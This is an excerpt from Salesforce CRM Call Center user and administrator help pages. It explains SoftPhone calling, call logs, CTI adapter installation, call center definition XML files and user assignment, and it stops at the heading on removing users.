User Permissions Needed


To make a call: Member of a call center

To make a call directly from the phone field of a contact, lead, activity, or account using Salesforce CRM Call Center:

1. Locate the number that you want to dial in a contact, lead, activity, or account.
2. Click the button to the right of the number. The number is automatically dialed in the first open SoftPhone line.

1242
Call Center Using the Call Center Directory

Note:

• A number that has already been clicked cannot be clicked again for five seconds.
• The button does not appear next to fax numbers.

Note: Some Salesforce CRM Call Center features that are described in this help system may not be available with
your SoftPhone because of customizations that have been made for your organization. See your administrator for
details.

See Also:
Using the SoftPhone
Making a Call by Dialing a Number Manually
Making a Call Using the Call Center Directory
Tip sheet: Getting Started with your SoftPhone

Using the Call Center Directory


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To use a call center directory: Member of a call center

Every call center has an associated call center directory that includes the name and number of every user that belongs to that
call center, as well as other phone numbers that are related to records in your system.
To use your call center directory:

1. In the SoftPhone, click the name of the open line that you want to use. This action opens the dial pad for that line. Click
next to the dial pad to open your call center directory.
2. Search the call center directory for a phone number:
a. In the Pick an object drop-down, choose the type of record that you want to search. Any object with a phone number
field is included in this list.
b. In the Search text box, type all or part of the name for which you are searching. For a list of the fields that are searched
for a particular object, see Lookup Search Fields on page 2082.
c. Click Go to view a list of only those records that include your search text.

3. When you find the phone number that you want, click its associated record name to automatically enter the number into
the SoftPhone.

1243
Call Center Answering a Call Using the SoftPhone

4. Click Dial to make the call.

See Also:
What is Salesforce CRM Call Center?
Using the SoftPhone
Making a Call Using the SoftPhone
Making a Conference Call Using the SoftPhone
Transferring a Call Using the SoftPhone
Tip sheet: Getting Started with your SoftPhone

Answering a Call Using the SoftPhone


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To answer calls with a SoftPhone: Member of a call center

When logged in to a SoftPhone, you can receive a call when:

• The call originates from a queue and your call center state is set to Ready for Calls
• The call is dialed directly to your extension and you are not already on a call

You can tell that you have an incoming call if you see a flashing red button and the words “Incoming Call,” “Incoming Transfer,”
or “Incoming Conference” next to the name of a telephone line in your SoftPhone.
Details about the call, if any, are displayed just above the Answer button, and typically include the phone number of the caller
and the number that the caller dialed to reach you. When the caller's phone number can be matched with a number in an
existing Salesforce.com record, a link to that record is also displayed. Likewise, if your call center prompts callers to enter an
account number or other data before being connected with a representative, your SoftPhone searches for records that contain
that information and automatically displays links to matching results.
To answer an incoming call, you can:

• Click Answer in the SoftPhone.


• Use your physical telephone set to pick up the call.

When you answer a call, the Call Duration clock starts ticking, and your call center state is automatically set to Busy. If
you do not answer the call, the system forwards it to another user and your call center state is automatically set to Not Ready
for Calls.
Once you have answered a call, you can:

• Log comments and associate Salesforce.com records with the call


• Put the caller on hold
• Transfer the call to another call center user
• Conference another call center user into the call

1244
Call Center Putting a Caller on Hold Using the SoftPhone

• End the call

Note: If your SoftPhone supports multiple lines and you have a call established on one telephone line when you answer
a call on a second line, the first call will automatically be put on hold.

Note: Some Salesforce CRM Call Center features that are described in this help system may not be available with
your SoftPhone because of customizations that have been made for your organization. See your administrator for
details.

See Also:
Using the SoftPhone
Changing Your Call Center State
Tip sheet: Getting Started with your SoftPhone

Putting a Caller on Hold Using the SoftPhone


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To put a caller on hold: Member of a call center

Salesforce CRM Call Center allows you to put any caller on hold so that the caller cannot hear you speaking. To put a caller
on hold, click Hold in the SoftPhone line that is currently active. The Hold Time clock that shows how long the caller has
been waiting automatically starts, and the line light icon ( ) begins to blink yellow.
To resume the call, click Retrieve from Hold. If you want to end the call without retrieving the caller from hold, click End
Call.
Note:

• Callers are automatically put on hold whenever you initiate a call transfer, dial a number on a second line, or initiate
a conference call.
• If you click Hold while on a conference, your line becomes mute but other conference participants can still speak
to one another.

Note: Some Salesforce CRM Call Center features that are described in this help system may not be available with
your SoftPhone because of customizations that have been made for your organization. See your administrator for
details.

See Also:
Using the SoftPhone
Tip sheet: Getting Started with your SoftPhone

1245
Call Center Making a Conference Call Using the SoftPhone

Making a Conference Call Using the SoftPhone


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To initiate a conference call: Member of a call center

To initiate a conference call with another call center user or an outside phone number:

1. While on a call, click Conference in the SoftPhone line that is currently active. Your caller is automatically put on hold
and a new dial pad becomes active.
2. Use the dial pad, your keyboard, or the phone directory to enter the phone number of the person who you want to include
in the conference.
3. Click Initiate Conference. Your first caller remains on hold while you are on the call with the destination number. If a
number you dial is busy, a message appears and you have the option to dial again or cancel the call.
4. Once you have connected with the second caller and are ready to start the conference, click Complete Conference. The
second caller joins the first on your original telephone line and all three of you can speak freely to one another. If you no
longer want to conference the call after dialing the second number, click Cancel Conference to hang up on the second
caller and return to your original caller.

Note:

• If you click Hold while on a conference, your line becomes mute but other conference participants can still speak
to one another.
• Some phone systems limit the number of callers who can be conferenced on a single line. See your administrator
for details.

See Also:
What is Salesforce CRM Call Center?
Using the SoftPhone
Putting a Caller on Hold Using the SoftPhone
Tip sheet: Getting Started with your SoftPhone

1246
Call Center Transferring a Call Using the SoftPhone

Transferring a Call Using the SoftPhone


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To transfer a call: Member of a call center

To transfer a call to another call center user or to an external phone number:

1. Attach any relevant Salesforce.com records to the call that you want to transfer. For example, if you created a case for the
call, save it, and make sure that it is selected in one of the Related To fields of the current call log. By doing this, the
user to whom you are transferring the call will have access to the case in his or her SoftPhone.
2. Click Transfer in the SoftPhone line that you want to transfer. You remain on the line with your first caller and a new
dial pad becomes active.
3. Use the dial pad, your keyboard, or the call center directory to enter the phone number of the person to whom the call
should be transferred.
4. Click Initiate Transfer. Your first caller is automatically put on hold while you are on the call with the destination number.
If a number you dial is busy, a message appears and you have the option to dial again or cancel the call.
5. When you are ready to transfer your first caller to the destination number, click Complete Transfer. If you no longer want
to transfer the call, click Cancel Transfer.

Once you complete a transfer, your line is immediately freed and you return to the “Ready for Calls” state.

See Also:
What is Salesforce CRM Call Center?
Using the SoftPhone
Wrapping Up a Call Using the SoftPhone
Creating Call Logs in the SoftPhone
Tip sheet: Getting Started with your SoftPhone

1247
Call Center Creating Call Logs in the SoftPhone

Creating Call Logs in the SoftPhone


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create a call log: Member of a call center

Every external call that you make or receive with a SoftPhone automatically generates a call log activity record. You can view
these call logs in the Activity History related list of any Salesforce.com record that is associated with the call or by running a
report. Automatically generated call log records include values for:

• The call center user who received or initiated the call


• The phone number of the contact who called or who was called by the call center user
• The date on which the call took place
• The duration of the call, in seconds
• Whether the call was inbound or outbound
• The call center system’s unique identifier for the call

You can associate up to two records, edit the subject, and add comments to a call log while the call is underway. To do so:

1. Associate up to two the records with the call log:

• When you view or create a contact, lead, or person account, a Name drop-down list appears in the call log. Use this list
to select a single contact, lead, or person account record to associate with the call.
• When you view or create any other type of Salesforce.com record, a Related to drop-down list appears in the call
log. Use this list to select a single record of any other type to associate with the call.
Note: Custom object records can only be associated with a call log if the custom object tracks activities. See
Defining Custom Objects on page 765.

By default, the most recently viewed records are selected in the Name and Related to lists unless you manually choose
a different record. The records that you choose in these lists will include the call log in their Activity History related lists
once the call ends. These records are also displayed with the call if it is transferred to or conferenced with another Salesforce
CRM Call Center user.
2. Edit the Subject and Comments fields with information about what happened during the call.

After the call ends, the call log is automatically saved as a completed task. You can quickly access the saved call logs for calls
that were just completed by expanding the Last N Calls section of the SoftPhone. Up to three of your last calls are displayed
in this list with your most recent call displayed first:

• To modify a recent call log, click Edit next to the call log's Subject field.
• To view a saved call log, click the call log's Subject.
• To view a record that is associated with a call log, click the name of the record.

To view a list of all calls that you've made or received in the past day, click My Calls Today. This link opens the My Calls
Today report in the Reports tab.

1248
Call Center Wrapping Up a Call Using the SoftPhone

Note: Some Salesforce CRM Call Center features that are described in this help system may not be available with
your SoftPhone because of customizations that have been made for your organization. See your administrator for
details.

See Also:
Using the SoftPhone
Running Reports
Wrapping Up a Call Using the SoftPhone
Tip sheet: Getting Started with your SoftPhone

Wrapping Up a Call Using the SoftPhone


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To end a call: Member of a call center

When you are ready to end a call:

1. Update the associated call log. For example, if you created a case or viewed a contact while you were on the call, verify that
they are selected in one of the Related To fields of the log, and use the Comments text box to enter any notes about the
call.
Note: Call logs are not created for internal calls.

2. Click End Call in the active SoftPhone line or use your physical phone set to hang up. This terminates the call and frees
the line.
3. If wrap up codes are not enabled, your call center state is set back to Ready for Calls and the log for your call is automatically
saved.
4. If wrap up codes are enabled, your call center state is set to Wrap Up and a set of reason codes are displayed in the SoftPhone.
While in this state you cannot receive any incoming calls.

a. Select the reason code that best represents the outcome of the call.
b. Optionally make any additional modifications to your call log.
c. Click Done. Your call center state returns to Ready for Calls, and the log for your call is automatically saved.

All saved call logs are placed in the Last N Calls section of the SoftPhone for quick reference. You can review details of these
call logs by clicking any of the associated links:

• The Subject link (for example, “Call 6/01/2006 12:34 PM”) opens the call log details page.
• Either of the Related To links opens the detail page for the specified record.

1249
Call Center Editing Personal SoftPhone Settings

Note: Some Salesforce CRM Call Center features that are described in this help system may not be available with
your SoftPhone because of customizations that have been made for your organization. See your administrator for
details.

See Also:
What is Salesforce CRM Call Center?
Using the SoftPhone
Tip sheet: Getting Started with your SoftPhone

Editing Personal SoftPhone Settings


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To edit personal SoftPhone settings: Member of a call center

You can control personal SoftPhone settings within Salesforce.com. To change your settings, click Setup ➤ Call Center
Settings ➤ My SoftPhone Settings.
The following settings are available:

Setting Description
Automatically log in to your call center when Select this option if you want Salesforce.com to use saved login
logging into Salesforce.com information to automatically log you in to your SoftPhone.
If only one record found on incoming call Choose one of the following options to specify how a record
should be displayed when it is the only one that matches an
incoming call:
• Always open the record automatically. This
option displays the record in the main Salesforce.com
window, overwriting whatever was there before. All
unsaved changes from your previous record are lost.

1250
Call Center Salesforce CRM Call Center Reports

Setting Description
• Never open the record automatically. This
option does not display the matching record. To view it
you must click on the record's link in the SoftPhone.

See Also:
What is Salesforce CRM Call Center?
Using the SoftPhone
Logging In to the SoftPhone
Tip sheet: Getting Started with your SoftPhone

Salesforce CRM Call Center Reports


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To run reports: “Run Reports”
AND
“Read” on the records included in report

The reports in the Call Center Reports folder help you analyze the Salesforce CRM Call Center phone calls that were handled
by you and your team.

Special Features of Call Center Reports


Consider the following when running call center reports:
Standard Reports

• The My Team's Calls This Week gives you information about the calls that were handled by the call center users on
your team during the past week, including associated records and the result of each call.
• The My Calls Today report gives you information about the calls that you initiated or received during the past day,
including associated records and the result of each call.

1251
Call Center Setting Up Salesforce CRM Call Center

• The My Calls This Week report gives you information about the calls that you initiated or received during the past
week, including associated records and the result of each call.

See Also:
Customizing Reports
What is Salesforce CRM Call Center?
Using the SoftPhone

Setting Up Salesforce CRM Call Center


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To manage call centers, call center users, call center directories, “Manage Call Centers”
and SoftPhone layouts:

Before Salesforce.com users can access Salesforce CRM Call Center features, an administrator must perform the following
tasks:

1. Install a CTI adapter on every call center user machine. Salesforce CRM Call Center features are not available on machines
that do not have an adapter installed.
2. Define a new call center record for every computer-telephony integration (CTI) system in use at your organization.
3. Assign Salesforce.com users to the appropriate call center. A Salesforce CRM Call Center user must be associated with a
call center to view the SoftPhone user interface.
4. Optionally, configure call center phone directories with additional directory numbers and updated phone number search
layouts.
5. Optionally, customize SoftPhone layouts for different user profiles, so that the SoftPhone of a salesperson might show
related leads, accounts, and opportunities, while the SoftPhone of a support rep might show related cases and solutions.

See Also:
Using the SoftPhone
Salesforce CRM Call Center System Requirements
Administrator tip sheet: Getting Started with Setting Up Call Centers

1252
Call Center Deploying Adapters to Call Center Machines

Deploying Adapters to Call Center Machines


Available in: Professional, Enterprise, Unlimited, and Developer Editions

Any machine that uses Salesforce CRM Call Center must have a CTI adapter installed. A CTI adapter is a light-weight
software program that controls the appearance and behavior of a Salesforce.com SoftPhone.
Because a CTI adapter communicates directly with an individual CTI system, an organization must use a different CTI adapter
for each type of CTI system that is in use. For example, if an organization wants to integrate one call center that runs Cisco
IPCC Enterprise™ and one call center that runs Cisco IPCC Express™, the organization must have two CTI adapters available.
A call center user's machine only requires the SoftPhone CTI adapter for the call center to which it connects.
To download a SoftPhone CTI adapter from salesforce.com, visit the Force.com AppExchange. The adapter installation
package includes both the adapter setup files and a call center definition file that can be used in conjunction with the adapter.
To install a CTI adapter on a single machine, run the CTI adapter's Setup.exe application as a Windows administrator
user.
To deploy a CTI adapter to all the machines in a call center at once, use the .msi file that is packaged with the installer and
your preferred Software Management System.
Once a CTI adapter is installed, you can perform the following operations:

• Start the CTI adapter application by clicking Start ➤ Programs ➤ salesforce.com ➤ <Your CTI System Name> Adapter.
You can verify that the CTI adapter is running by looking for the icon in the system tray of the computer.
• Stop the CTI adapter application by right-clicking the CTI adapter system tray icon ( ) and choosing Exit.
• Modify CTI adapter log settings by right-clicking the CTI adapter system tray icon ( ) and choosing Logging.... In the
CTI Log Settings dialog:

- Select the types of messages that you want to log. Keep log levels at Low - Errors unless you are troubleshooting an
issue with your adapter.
- Specify the location for the two log files that the CTI adapter generates. For more information on these files, see the
CTI Toolkit Developer's Guide.

See Also:
Setting Up Salesforce CRM Call Center
Managing Call Center Users
Salesforce CRM Call Center System Requirements
Administrator tip sheet: Getting Started with Setting Up Call Centers

1253
Call Center Creating a Call Center

Creating a Call Center


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create a call center by importing or cloning: “Manage Call Centers”

A call center in Salesforce CRM Call Center corresponds to a single computer-telephony integration (CTI) system already
in place at your organization. Salesforce.com users must be assigned to a call center record before they can use any Salesforce
CRM Call Center features.
There are two ways to create a call center record in Salesforce.com:

• Import a call center definition file into Salesforce.com. Use this method to create your first call center for a CTI adapter
that was just installed.
• Clone an existing call center definition. Use this method to create additional call centers for a particular CTI adapter. For
example, if you already have a call center record for a Cisco IPCC Enterprise™ call center based in one location, you can
clone that record for a Cisco IPCC Enterprise call center based in another location.

To view a list of call centers that have already been created, click Setup ➤ Customize ➤ Call Center ➤ Call Centers.

See Also:
Setting Up Salesforce CRM Call Center
Call Center Definition Files
Managing Call Centers
Displaying and Editing a Call Center
Managing Call Center Users
Administrator tip sheet: Getting Started with Setting Up Call Centers

Call Center Definition Files


Available in: Professional, Enterprise, Unlimited, and Developer Editions

A call center definition file specifies a set of fields and values that are used to define a call center in Salesforce.com for a
particular CTI adapter. Salesforce.com uses call center definition files in order to support the integration of Salesforce CRM
Call Center with multiple CTI system vendors.
By default, any CTI adapter installation package includes a default call center definition file that works specifically with that
adapter. This XML file is located in the adapter installation directory and is named after the CTI system that it supports. For
example, the Cisco IPCC Enterprise™ adapter's default call center definition file is named CiscoIPCCEnterprise7x.xml.

1254
Call Center Creating a Call Center

The first instance of a call center for a particular CTI adapter must be defined by importing the adapter's call center definition
file into Salesforce.com. Subsequent call centers can be created by cloning the original call center that was created with the
import.
If your organization modifies an adapter or builds a new one, you must customize the adapter's call center definition file so
that it includes any additional call center information that is required. For example, if you are building a CTI adapter for a
system that supports a backup server, your call center definition file should include fields for the backup server's IP address
and port number. CTI adapters for systems that do not make use of a backup server do not need those fields in their associated
call center definition files.
Note: Once a call center definition file has been imported into Salesforce.com, the set of fields that were specified in
the file cannot be modified. The values assigned to those fields, however, can be changed within Salesforce.com.

See the following topics for information about creating and importing a call center definition file:

• To create a call center definition file for a custom CTI adapter, see Creating a Call Center Definition File on page 1255.
• To view a sample call center definition file, see Sample Call Center Definition File on page 1260.
• To import a call center definition file into Salesforce.com, see Importing a Call Center Definition File on page 1261.

See Also:
Creating a Call Center
Cloning a Call Center
Call Center Definition XML Format
Required Call Center Elements and Attributes
Specifying Values for <item> Elements
Administrator tip sheet: Getting Started with Setting Up Call Centers

Creating a Call Center Definition File

Available in: Professional, Enterprise, Unlimited, and Developer Editions

If you have built a custom CTI adapter you must write a call center definition file to support it. Use a text or XML editor to
define an XML file according to the guidelines outlined in the following topics:

• Call Center Definition XML Format


• Required Call Center Elements and Attributes
• Specifying Values for <item> Elements

1255
Call Center Creating a Call Center

• Sample Call Center Definition File

See Also:
Creating a Call Center
Sample Call Center Definition File
Importing a Call Center Definition File
Cloning a Call Center
Administrator tip sheet: Getting Started with Setting Up Call Centers

Call Center Definition XML Format

Available in: Professional, Enterprise, Unlimited, and Developer Editions

A call center definition file consists of three XML elements: callCenter, section, and item. The following list provides
details about the properties and attributes of each element:
callCenter
This element represents a definition for a single call center phone system. At least one <callCenter> element must
be included in every call center definition file. A <callCenter> element consists of one or more <section> elements.

section
This element represents a grouping of related data fields, such as server information or dialing prefixes. When a call
center is edited in Salesforce.com, fields are organized by the section to which they are assigned. A <section> element
belongs to a single <callCenter> element, and consists of one or more <item> elements.
Attributes:

Name Type Required? Description


sortOrder Positive Integer Required The order in which the section should appear when the call
center is edited in Salesforce.com. For example, a section with
sortOrder="1" comes just before a section with
sortOrder="2".

The values for sortOrder must be non-negative integers,


and no numbers can be skipped within a single call center
definition. For example, if there are three section elements in
a call center definition file, one <section> element must
have sortOrder="0", one <section> element must have
sortOrder="1", and one <section> element must have
sortOrder="2".

1256
Call Center Creating a Call Center

Name Type Required? Description


name String Required The internal name of the section as defined in the
Salesforce.com database. You can use this value to refer to the
section when writing custom adapter code.
Names must be composed of only alphanumeric characters
with no white space or other punctuation. They are limited
to 40 characters each.
Names beginning with req are reserved for required
Salesforce.com sections only (see Required Call Center
Elements and Attributes on page 1258). Other reserved words
that cannot be used for the name attribute include label,
sortOrder, internalNameLabel, and
displayNameLabel.

label String Optional The name of the section when viewed in Salesforce.com.
Labels can be composed of any string of UTF-8 characters.
They are limited to 1000 characters each.

item
This element represents a single field in a call center definition, such as the IP address of a primary server or the dialing
prefix for international calls. When call centers are edited in Salesforce.com, each <item> element is listed under the
section to which it belongs. You can have multiple <item> elements in a <section> element.
Attributes:

Name Type Required? Description


sortOrder Positive Integer Required The order in which the item should appear when the call
center is edited in Salesforce.com. For example, an item with
sortOrder="1" comes just before an item with
sortOrder="2".

The values for sortOrder must be non-negative integers,


and no numbers can be skipped within a single call center
definition. For example, if there are three item elements in a
call center definition file, one <item> element must have
sortOrder="0", one <item> element must have
sortOrder="1", and one <item> element must have
sortOrder="2".

name String Required The internal name of the item as defined in the Salesforce.com
database. You can use this value to refer to the item when
writing custom adapter code.
Names must be composed of only alphanumeric characters
with no white space or other punctuation. They are limited
to 40 characters each.

1257
Call Center Creating a Call Center

Name Type Required? Description


Names beginning with req are reserved for required
Salesforce.com sections only (see Required Call Center
Elements and Attributes on page 1258). Other reserved words
that cannot be used for the name attribute include label,
sortOrder, internalNameLabel, and
displayNameLabel.

label String Optional The name of the item when viewed in Salesforce.com. Labels
can be composed of any string of UTF-8 characters. They are
limited to 1,000 characters each.

See Also:
Creating a Call Center
Creating a Call Center Definition File
Required Call Center Elements and Attributes
Specifying Values for <item> Elements
Sample Call Center Definition File

Required Call Center Elements and Attributes

Available in: Professional, Enterprise, Unlimited, and Developer Editions

There must be one <section> that includes <item> elements with the following names in every call center definition file:

<item> Name Description


reqInternalName Represents the unique identifier for the call center in the database. It must have
a sortOrder value of 0, and its value must be specified in the call center definition
(see Specifying Values for <item> Elements on page 1259). A value for
reqInternalName must be composed of no more than 40 alphanumeric
characters with no white space or other punctuation. It must start with an alphabetic
character and must be unique from the reqInternalName of all other call centers
defined in your organization.
reqDisplayName Represents the name of the call center as displayed in Salesforce.com. It must have
a sortOrder value of 1. A value for reqDisplayName has a maximum length
of 1,000 UTF-8 characters.
reqDescription Represents a description of the call center. A value for reqDescription has a
maximum length of 1,000 UTF-8 characters.
reqProgId Represents the Program ID (progId) of the CTI adapter that should be used for
this call center. This value is specified in the default call center definition file that

1258
Call Center Creating a Call Center

<item> Name Description


comes bundled with every CTI adapter installer, or in the base COM class of a
custom CTI adapter.

You can add additional <item> elements to this section if needed.

See Also:
Creating a Call Center
Creating a Call Center Definition File
Call Center Definition XML Format
Specifying Values for <item> Elements
Sample Call Center Definition File

Specifying Values for <item> Elements

Available in: Professional, Enterprise, Unlimited, and Developer Editions

With the exception of the reqInternalName <item>, whose value must always be specified in a call center definition file,
you can specify <item> values either in the call center definition file or in Salesforce.com once the definition file has been
imported.
To specify a value for an <item> element in a cell center definition file, place the value between the opening and closing tags
of the <item>. For example:

<item sortOrder="0" name="reqInternalName" label="Call Center Internal


Label">MyCallCenter</item>

sets the value of the reqInternalName <item> to MyCallCenter. Note that any <item> value other than the value for
reqInternalName can be edited in Salesforce.com after the call center definition is imported.

See Also:
Creating a Call Center
Creating a Call Center Definition File
Call Center Definition XML Format
Required Call Center Elements and Attributes
Sample Call Center Definition File

1259
Call Center Creating a Call Center

Sample Call Center Definition File

Available in: Professional, Enterprise, Unlimited, and Developer Editions

The following XML code makes up a sample call center definition file. For more information on the XML format of a call
center definition file, see Creating a Call Center Definition File on page 1255.

<!--
All sections and items whose name value begins with "req" are
required in a valid call center definition file. The sortOrder
and label attributes can be changed for all required sections
and items except reqGeneralInfo, reqInternalName, and
reqDisplayName, in which only the label attribute can be altered.

Note that the value for the reqInternalName item is limited to


40 alphanumeric characters and must start with an alphabetic
character. reqInternalName must be unique for all call centers
that you define.
-->

<callCenter>

<section sortOrder="0" name="reqGeneralInfo" label="General Info">


<item sortOrder="0" name="reqInternalName"
label="Internal Name">callCenter001</item>
<item sortOrder="1" name="reqDisplayName"
label="Display Name">My Call Center</item>
<item sortOrder="2" name="reqDescription"
label="Description">Located in San Francisco, CA</item>
<item sortOrder="3" name="reqProgId"
label="CTI Connector ProgId">MyAdapter.MyAdapter.1</item>
</section>

<section sortOrder="1" name="ServerInfo" label="CTI Server Info">


<item sortOrder="0" name="HostA"
label="Host A">Host A</item>
<item sortOrder="1" name="PortA"
label="Port A">Port A</item>
<item sortOrder="2" name="HostB"
label="Host B">Host B</item>
<item sortOrder="3" name="PortB"
label="Port B">Port B</item>
<item sortOrder="4" name="PeripheralID"
label="Peripheral ID">1000</item>
</section>

<section sortOrder="2" name="DialingOptions" label="Dialing Options">


<item sortOrder="0" name="OutsidePrefix"
label="Outside Prefix">1</item>
<item sortOrder="1" name="LongDistPrefix"
label="Long Distance Prefix">9</item>
<item sortOrder="2" name="InternationalPrefix"
label="International Prefix">01</item>
</section>

1260
Call Center Creating a Call Center

</callCenter>

See Also:
Creating a Call Center
Call Center Definition XML Format
Required Call Center Elements and Attributes
Specifying Values for <item> Elements

Importing a Call Center Definition File


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To import call center definition files: “Manage Call Centers”

To create your first call center for a CTI adapter that was just installed, you can import the adapter's default call center definition
file into Salesforce.com:

1. Click Setup ➤ Customize ➤ Call Center ➤ Call Centers.


2. Click Import.
3. Next to the Call Center Definition File field, click Browse to navigate to the default call center definition file
in your CTI adapter installation directory. This XML file is named after the type of CTI system that the adapter supports.
For example, the Cisco™ IPCC Enterprise adapter's default call center definition file is named
CiscoIPCCEnterprise7x.xml. Click Open to enter the path in the Call Center Definition File field.
4. Click Import to import the file and return to the All Call Centers page. The new call center record is listed with the other
call centers in your organization.
Note: If you receive the error A call center with this internal name already exists, a
call center definition file for this CTI adapter has already been imported into Salesforce.com. To create additional
call center records for this CTI adapter, clone the adapter's existing call center, or modify the call center definition
file to include a different value for reqInternalName.

5. Click Edit next to the name of the new call center to modify the call center's settings.

To create additional call centers for a particular CTI adapter, see Cloning a Call Center on page 1262.

1261
Call Center Creating a Call Center

To define a new call center definition file for a CTI adapter that was customized specifically for your organization, see Creating
a Call Center Definition File on page 1255.

See Also:
Creating a Call Center
Managing Call Centers
Administrator tip sheet: Getting Started with Setting Up Call Centers

Cloning a Call Center


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view and clone a call center: “Manage Call Centers”

To create more than one call center for a particular CTI adapter, you can clone an existing one. For example, if you already
have a call center record for a Cisco IPCC Enterprise™ call center based in one location, you can clone that record for a Cisco
IPCC Enterprise call center based in another location.
To clone a call center:

1. Click Setup ➤ Customize ➤ Call Center ➤ Call Centers.


2. Click the name of the call center that you want to clone.
3. Click Clone. This action opens a new call center for editing with the same fields and values as the original call center.
Only the Internal Name field is left intentionally blank to allow you to provide a new name. This name is limited to
40 alphanumeric characters and must start with an alphabetic character. Internal Name must be unique for every call
center defined in your organization. For more information, see Call Center Fields on page 1264.
4. Make any additional changes to the new call center as necessary.
5. Click Save to save the new call center, or click Cancel to return to the All Call Centers page without saving the cloned
call center.

Note: If you have read-only access to a field, the value of that field is not carried over to the cloned record.

See Also:
Setting Up Salesforce CRM Call Center
Creating a Call Center
Managing Call Centers
Displaying and Editing a Call Center
Importing a Call Center Definition File
Administrator tip sheet: Getting Started with Setting Up Call Centers

1262
Call Center Managing Call Centers

Managing Call Centers


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To import, view, edit, or delete a call center: “Manage Call Centers”

A call center in Salesforce CRM Call Center corresponds to a single computer-telephony integration (CTI) system already
in place at your organization. Salesforce.com users must be assigned to a call center record before they can use any Salesforce
CRM Call Center features.
To view a list of call centers that have already been created, click Setup ➤ Customize ➤ Call Center ➤ Call Centers. From
this page, you can:

• Click the name of a call center to view call center details.


• Click Import to import a call center definition file that you have already created.
• Click Edit next to any call center to modify call center details.
• Click Del next to any call center to erase the call center record from Salesforce.com. When you delete a call center, all
associated directory numbers are also deleted. Any users associated with the call center must be reassigned to another call
center to continue using Salesforce CRM Call Center features.

See Also:
Setting Up Salesforce CRM Call Center
Creating a Call Center
Call Center Definition Files
Managing Call Center Users
Administrator tip sheet: Getting Started with Setting Up Call Centers

Displaying and Editing a Call Center


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view or edit a call center: “Manage Call Centers”

A call center in Salesforce CRM Call Center corresponds to a single computer-telephony integration (CTI) system already
in place at your organization. Salesforce.com users must be assigned to a call center record before they can use any Salesforce
CRM Call Center features.
To view call center details:

1263
Call Center Call Center Fields

1. Click Setup ➤ Customize ➤ Call Center ➤ Call Centers.


2. Click the name of the call center that you want to view.

From the Call Center Detail page you can:

• Click Edit to modify the properties of the call center.


• Click Delete to erase the call center record from Salesforce.com. When you delete a call center, all associated directory
numbers are also deleted. Any users associated with the call center must be reassigned to another call center to continue
using Salesforce CRM Call Center features.
• Click Clone to create a duplicate copy of the call center with the same fields and values as the current call center.
• Click Manage Call Center Users to designate Salesforce.com users as members of this call center.

See Also:
Creating a Call Center
Managing Call Centers
Call Center Fields
Administrator tip sheet: Getting Started with Setting Up Call Centers

Call Center Fields


Available in: Professional, Enterprise, Unlimited, and Developer Editions

All call centers include the following required fields, though additional fields may be available depending on the content of
the call center definition file that was used to create the call center:

Field Description
Internal Name Represents the unique identifier for the call center in the database. Internal Name must
be composed of no more than 40 alphanumeric characters with no white space or other
punctuation. It must start with an alphabetic character and must be unique from the Internal
Name of all other call centers defined in your organization. Once a value for Internal Name
has been saved for a call center, it cannot be changed.
Display Name Represents the name of the call center as displayed in Salesforce.com. It must have a
sortOrder value of 1. Display Name has a maximum length of 1,000 UTF-8 characters.

Description Represents a description of the call center. Description has a maximum length of 1,000
UTF-8 characters.

1264
Call Center Managing Call Center Users

Field Description
CTI Connector ProgId Represents the Program ID (progId) of the CTI adapter that should be used for this call
center. This value is specified in the default call center definition file that comes bundled with
every CTI adapter installer, or in the base COM class of a custom CTI adapter.

See Also:
Displaying and Editing a Call Center
Creating a Call Center
Managing Call Centers
Administrator tip sheet: Getting Started with Setting Up Call Centers

Managing Call Center Users


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To add or remove users from a call center: “Manage Call Centers”

A Salesforce.com user cannot view Salesforce CRM Call Center features unless an administrator has assigned the user to a
call center. See the following for instructions:

• Adding a User to a Call Center


• Removing a User from a Call Center

Every call center user has access to a set of personal SoftPhone settings that specify:

• Whether the user should be automatically logged into his or her SoftPhone when he or she logs into Salesforce.com
• How a record should be displayed when it is the only one that matches an incoming call

To change the default personal SoftPhone settings for all new call center users, use the Force.com API. For information, see
the Force.com Web Services API Developer's Guide.

See Also:
Setting Up Salesforce CRM Call Center
Creating a Call Center
Managing Call Centers
Administrator tip sheet: Getting Started with Setting Up Call Centers

1265
Call Center Managing Call Center Users

Adding a User to a Call Center


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To add users to a call center: “Manage Call Centers”

To add a user to a call center in Salesforce CRM Call Center:

1. Click Setup ➤ Customize ➤ Call Center ➤ Call Centers.


2. Click the name of the call center to which you want to assign the Salesforce.com user.
3. In the Call Center Users related list, click Manage Call Center Users.
4. Click Add More Users.
5. Specify search criteria to find the Salesforce.com users who should be assigned to the call center. For more information,
see Entering Filter Criteria on page 1916.
6. Click Find to display the list of Salesforce.com users that meet your search criteria. All users who already belong to a call
center are excluded from search results because a user can only be assigned to one call center at a time.
7. Select the checkbox next to each user who should be assigned to the call center and click Add to Call Center.

Alternatively, you can change a particular user's call center in the User Edit page:

1. Click Setup ➤ Manage Users ➤ Users.


2. Click Edit next to the name of the user.
3. Modify the Call Center field as appropriate. You can change the user's call center by clicking the lookup icon ( ) and
choosing a new call center, or you can remove the user from his or her current call center by deleting the call center name
from the field.

See Also:
Setting Up Salesforce CRM Call Center
Managing Call Center Users
Creating a Call Center
Administrator tip sheet: Getting Started with Setting Up Call Centers

1266
Call Center Managing Call Center Users

Removing a User from a Call Center


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To remove users from a call center: “Manage Call Centers”

